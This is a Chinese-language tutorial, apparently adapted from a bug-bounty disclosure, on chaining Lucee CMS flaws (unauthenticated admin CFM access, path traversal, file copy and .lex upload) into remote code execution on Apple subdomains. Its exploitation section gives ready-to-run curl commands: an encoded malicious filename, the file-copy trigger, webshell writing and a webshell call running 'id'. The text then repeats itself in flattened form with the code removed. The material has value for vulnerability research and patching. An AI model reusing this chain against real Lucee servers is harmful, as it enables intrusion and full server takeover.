挖掘0day来入侵Apple
字数 1516 2025-08-06 08:35:25

Lucee CMS 0day漏洞分析与利用教学文档

漏洞概述

本文档详细分析了Apple公司使用的Lucee CMS系统中存在的多个0day漏洞,包括配置错误导致的未授权访问、文件上传漏洞和路径遍历漏洞的组合利用,最终实现远程代码执行(RCE)。这些漏洞影响了Apple的三个子域名:facilities.apple.com、booktravel.apple.com和booktravel-uat.apple.com。

目标环境分析

受影响系统

  • https://facilities.apple.com/ (运行较新版本的Lucee)
  • https://booktravel.apple.com/ (运行旧版本Lucee)
  • https://booktravel-uat.apple.com/ (运行旧版本Lucee)

WAF行为分析

  • Apple的WAF通过检测URL查询参数来阻止路径遍历和SQL注入尝试
  • facilities.apple.com的前端服务器(反向代理)配置为仅显示后端返回的状态码200和404
  • 其他状态码(包括触发WAF)都会返回403

漏洞详情

1. Lucee配置错误导致的未授权访问

  • Lucee存在配置错误,允许未认证用户直接访问需要认证的CFM文件
  • 虽然request.admintype检查会终止未认证请求的执行流程,但在该检查之前的代码仍会执行
  • 关键可利用文件:
    • imgProcess.cfm (较新版本可用)
    • admin.search.index.cfm
    • ext.applications.upload.cfm

2. imgProcess.cfm文件路径遍历漏洞

  • 漏洞代码:
<cffile action="write" file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#" Output="#form.imgSrc#" createPath="true">
  • 允许在服务器任意位置创建文件
  • 限制:
    • WAF阻止查询参数中的../
    • 需要__目录存在(但expandPath会自动创建)

3. admin.search.index.cfm文件复制功能漏洞

  • 接受两个参数:
    • dataDir - 目标目录
    • luceeArchiveZipPath - 源目录
  • 关键行为:
    • 列出源目录中匹配*.*.cfm的文件
    • 处理文件名并创建.txt文件
    • 最终将搜索结果写入searchindex.cfm文件
  • 可利用点:
    • 可以控制写入文件的内容
    • 文件名处理逻辑可被利用

4. ext.applications.upload.cfm未授权文件上传

  • 允许上传.lex扩展名的文件
  • 虽然.lex文件检查会导致异常,但文件已上传
  • .lex文件实际上是ZIP归档,可包含任意内容

漏洞利用链

在facilities.apple.com上的利用步骤

  1. 创建恶意CFM文件
curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'
  1. 触发文件复制
curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'
  1. 写入Webshell
curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
  1. 访问Webshell
https://facilities.apple.com/lucee/rootxharsh/PoC.cfm

在旧版本主机(booktravel.apple.com)上的利用

  1. 创建恶意ZIP文件
  • 创建名为server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm的文件,内容为"#stText.x.f#"
  • 将其压缩为payload.lex
  1. 上传恶意文件
curl -vv -F extfile=@payload.lex https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm
  1. 触发漏洞利用
curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex
  1. 写入并访问Webshell
https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell
https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id

漏洞修复

  1. Lucee团队修复了直接访问CFM文件的问题
  2. Apple迅速修复了这些漏洞
  3. 建议措施:
    • 更新到最新Lucee版本
    • 加强认证检查
    • 限制文件操作权限
    • 加强WAF规则

总结

这些漏洞组合利用可获得Apple服务器上的远程代码执行能力,展示了配置错误、文件操作漏洞和认证缺陷的组合风险。Apple为此漏洞支付了总计50,000美元的奖励。

Lucee CMS 0day漏洞分析与利用教学文档 漏洞概述 本文档详细分析了Apple公司使用的Lucee CMS系统中存在的多个0day漏洞,包括配置错误导致的未授权访问、文件上传漏洞和路径遍历漏洞的组合利用,最终实现远程代码执行(RCE)。这些漏洞影响了Apple的三个子域名:facilities.apple.com、booktravel.apple.com和booktravel-uat.apple.com。 目标环境分析 受影响系统 https://facilities.apple.com/ (运行较新版本的Lucee) https://booktravel.apple.com/ (运行旧版本Lucee) https://booktravel-uat.apple.com/ (运行旧版本Lucee) WAF行为分析 Apple的WAF通过检测URL查询参数来阻止路径遍历和SQL注入尝试 facilities.apple.com的前端服务器(反向代理)配置为仅显示后端返回的状态码200和404 其他状态码(包括触发WAF)都会返回403 漏洞详情 1. Lucee配置错误导致的未授权访问 Lucee存在配置错误,允许未认证用户直接访问需要认证的CFM文件 虽然 request.admintype 检查会终止未认证请求的执行流程,但在该检查之前的代码仍会执行 关键可利用文件: imgProcess.cfm (较新版本可用) admin.search.index.cfm ext.applications.upload.cfm 2. imgProcess.cfm文件路径遍历漏洞 漏洞代码: 允许在服务器任意位置创建文件 限制: WAF阻止查询参数中的 ../ 需要 __ 目录存在(但 expandPath 会自动创建) 3. admin.search.index.cfm文件复制功能漏洞 接受两个参数: dataDir - 目标目录 luceeArchiveZipPath - 源目录 关键行为: 列出源目录中匹配 *.*.cfm 的文件 处理文件名并创建 .txt 文件 最终将搜索结果写入 searchindex.cfm 文件 可利用点: 可以控制写入文件的内容 文件名处理逻辑可被利用 4. ext.applications.upload.cfm未授权文件上传 允许上传 .lex 扩展名的文件 虽然 .lex 文件检查会导致异常,但文件已上传 .lex 文件实际上是ZIP归档,可包含任意内容 漏洞利用链 在facilities.apple.com上的利用步骤 创建恶意CFM文件 : 触发文件复制 : 写入Webshell : 访问Webshell : 在旧版本主机(booktravel.apple.com)上的利用 创建恶意ZIP文件 : 创建名为 server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm 的文件,内容为 "#stText.x.f#" 将其压缩为 payload.lex 上传恶意文件 : 触发漏洞利用 : 写入并访问Webshell : 漏洞修复 Lucee团队修复了直接访问CFM文件的问题 Apple迅速修复了这些漏洞 建议措施: 更新到最新Lucee版本 加强认证检查 限制文件操作权限 加强WAF规则 总结 这些漏洞组合利用可获得Apple服务器上的远程代码执行能力,展示了配置错误、文件操作漏洞和认证缺陷的组合风险。Apple为此漏洞支付了总计50,000美元的奖励。